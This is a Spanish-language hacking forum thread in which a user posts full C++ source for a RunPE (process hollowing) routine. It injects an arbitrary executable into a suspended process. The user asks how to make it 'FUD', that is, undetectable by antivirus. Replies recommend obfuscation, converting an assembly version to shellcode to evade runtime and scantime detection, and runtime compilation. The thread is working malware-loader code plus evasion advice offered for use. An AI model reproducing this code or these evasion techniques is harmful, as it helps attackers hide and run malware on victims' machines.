Hola!
Tengo un RunPE genérico (lo pongo más abajo), ¿se os ocurren formas de hacerlo FUD u otra alternativa para lograr lo mismo, por ejemplo trabajando con los fork y pid etc...?
Gracias!
/* RunPE */
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
public:
void run(LPSTR szFilePath, PVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}
}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
};
/* end RunPe */
HOLA!!!
Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.
GRACIAS POR LEER!!!
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
HOLA!!!
Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.
GRACIAS POR LEER!!!
Ok, lo entiendo.
Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.
Gracias!
Runpe fud usa uno hechoen asm lo pasas a shellcode lo limpias y sera fud 100% runtime/scantime forever.
HOLA!!!
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Ok, lo entiendo.
Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.
Gracias!
Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)
GRACIAS POR LEER!!!
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Runpe fud usa uno hechoen asm lo pasas a shellcode lo limpias y sera fud 100% runtime/scantime forever.
Umm.. creo que entiendo a lo que te refieres.. pero así solo quedaría scantime, ¿no?
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
HOLA!!!
Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)
GRACIAS POR LEER!!!
Me gusta, ¿cómo funciona?, si se puede saber... :D
HOLA!!!
Mira este post:
https://underc0de.org/foro/dudas-generales-121/compilar-desde-compilado/?topicseen
GRACIAS POR LEER!!!
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
HOLA!!!
Mira este post:
https://underc0de.org/foro/dudas-generales-121/compilar-desde-compilado/?topicseen (https://underc0de.org/foro/dudas-generales-121/compilar-desde-compilado/?topicseen)
GRACIAS POR LEER!!!
¡Gracias por el aporte!